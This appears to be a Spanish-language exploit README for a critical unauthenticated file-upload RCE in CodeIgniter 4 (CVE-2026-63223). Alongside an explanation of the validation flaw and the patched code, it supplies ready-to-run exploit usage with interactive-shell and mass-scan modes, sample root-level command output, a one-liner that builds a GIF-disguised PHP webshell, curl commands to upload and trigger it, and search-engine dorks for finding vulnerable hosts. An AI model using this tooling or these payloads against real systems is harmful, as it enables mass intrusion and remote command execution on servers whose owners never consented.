
CVE-2026-63223 — CI4RCE: RCE de carga de archivos is_image/mime_in de CodeIgniter 4. Bypass de bytes mágicos (getExtension vs getClientExtension). CVSS 9.8 | CWE-434 | CI4 < 4.7.4
CVE-2026-63223 es una vulnerabilidad no autenticada de ejecución remota de código, de severidad crítica (CVSS 9.8), en CodeIgniter 4, un framework web PHP full-stack, que afecta a las versiones anteriores a 4.7.4.
La vulnerabilidad explota las reglas de validación de subida de archivos is_image y mime_in, que inspeccionan (magic bytes) sin validar la extensión del nombre de archivo proporcionada por el cliente. Un atacante antepone magic bytes de imagen (cabeceras GIF89a, JPEG, PNG) al código PHP, nombra el archivo , supera la validación y logra RCE cuando el archivo acaba en un directorio accesible desde la web con ejecución de PHP.
shell.phpCVSS: 9.8 CRÍTICO —
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HDescubierto: 31 de julio de 2026 | Aviso: GHSA-mmj4-63m4-r6h5 Corregido: CodeIgniter 4 v4.7.4
| Versión | Estado |
|---|---|
| < 4.7.4 | Vulnerable |
| 4.7.4+ | Parcheada |
CWE: CWE-434 — Subida sin restricciones de archivos de tipo peligroso PoC de referencia: imbas007/CVE-2026-63223-POC
La regla de validación is_image de CodeIgniter 4 mapea getExtension() — que devuelve la extensión derivada de los magic bytes (p. ej., gif) — a través de Mimes::guessTypeFromExtension() para determinar si el archivo es una imagen. La extensión del nombre de archivo proporcionada por el cliente (getClientExtension(), p. ej., php) nunca se inspecciona:
// VULNERABLE — CI4 4.7.3 FileRules.php
public function is_image(?string $blank, string $params): bool
{
// ...
$type = Mimes::guessTypeFromExtension($file->getExtension()) ?? '';
// ↑ getExtension() = "gif" (from magic bytes, NOT client filename!)
if (mb_strpos($type, 'image') !== 0) {
return false; // "image/gif" → passes!
}
return true; // never checks getClientExtension() = "php"
}
getExtension() ≠ getClientExtension() — la primera se deriva de los magic bytes (gif), la segunda del nombre de archivo del cliente (php)is_image pasa porque Mimes::guessTypeFromExtension("gif") devuelve image/gif$file->move($path, $file->getClientName()) conserva la extensión .php1. Attacker generates PHP webshell with GIF89a header
→ file(1) reports "GIF image data"
2. POST multipart to vulnerable endpoint (/upload/avatar)
→ is_image validates: image/gif → PASS
→ File saved as shell.php in /uploads/
3. GET /uploads/shell.php?c=id
→ Apache passes .php to PHP-FPM → PHP executes
→ GIF89a output as plaintext, then <?php code runs
4. RCE as www-data
El parche añade hasInvalidImageClientExtension() — ahora comprueba también la extensión del cliente:
// PATCHED — v4.7.4+
private function hasInvalidImageClientExtension(UploadedFile $file): bool
{
$clientExtension = trim(strtolower($file->getClientExtension()), '. ');
// ↑ NOW checks getClientExtension() = "php"!
if ($clientExtension === '') return false;
$type = Mimes::guessTypeFromExtension($clientExtension) ?? '';
// ↑ Mimes::guessTypeFromExtension("php") → "text/x-php"
return mb_strpos($type, 'image') !== 0; // TRUE → REJECT!
}
El cambio clave: is_image ahora valida tanto getExtension() (derivada del contenido, para la comprobación real de imagen) como getClientExtension() (proporcionada por el cliente, para rechazar extensiones que no son de imagen, como .php).
git clone https://github.com/shinthink/CVE-2026-63223.git
cd CVE-2026-63223
pip install requests
# Single target
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar
# Custom command
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar -c "cat /etc/passwd"
# Interactive shell
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar --shell
# JPEG variant, custom filename
python cve_2026_63223.py -t ci4-app.com -e /upload/avatar --method jpg --filename wp-admin.php
# Mass scan
python cve_2026_63223.py -f targets.txt -e /upload/avatar --threads 20
-t, --target Single target URL
-f, --file Target list, one per line
-e, --endpoint Vulnerable upload endpoint (default: /upload/avatar)
--field FIELD Upload form field name (default: avatar)
--method {gif,jpg,png} Magic bytes disguise (default: gif)
--filename NAME Shell filename (default: shell.php)
-c, --command Shell command to execute (default: id)
--shell Interactive pseudo-shell mode
-o, --output Save RCE URLs to file
--threads Concurrent workers (default: 30)
$ python cve_2026_63223.py -t ci4-app.com -e /upload/avatar -c "id; hostname"
Host : ci4-app.com
CodeIgniter 4 : YES
Upload : YES
Shell URL : http://ci4-app.com/uploads/shell.php
RCE : YES
RCE Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
app-server-01
# Generate GIF89a-prefixed PHP webshell
python3 -c "
import sys
php = b'<?php if(isset(\$_REQUEST[\"c\"])){system(\$_REQUEST[\"c\"]);die();} ?>'
sys.stdout.buffer.write(b'GIF89a\n' + php)
" > evil.php
# Upload
curl -F "[email protected];type=image/gif" http://target/upload/avatar
# Execute
curl http://target/uploads/evil.php?c=id
FOFA: body="CodeIgniter" && body="Welcome to"
Shodan: http.title:"Welcome to CodeIgniter" http.component:"CodeIgniter"
Censys: services.http.response.body:"debugbar_loader"
Una explotación exitosa permite ejecución remota de código como el usuario del servidor web:
.envNo se necesita cuenta ni autenticación — los endpoints de subida que usan is_image/mime_in sin ext_in son vulnerables por defecto.
is_image/mime_in con la regla de validación ext_inreadfile()getRandomName()SOLO PARA FINES EDUCATIVOS Y PRUEBAS AUTORIZADAS.
No lo utilice contra sistemas sin permiso explícito. Los autores no asumen ninguna responsabilidad por el mal uso.
| Recurso | Enlace |
|---|---|
| Aviso de GitHub | GHSA-mmj4-63m4-r6h5 |
| PoC de referencia | imbas007/CVE-2026-63223-POC |
| Entrada NVD | CVE-2026-63223 |
| CodeIgniter v4.7.4 | Registro de cambios |
| CWE-434 | Subida sin restricciones |
No afiliado con CodeIgniter Foundation.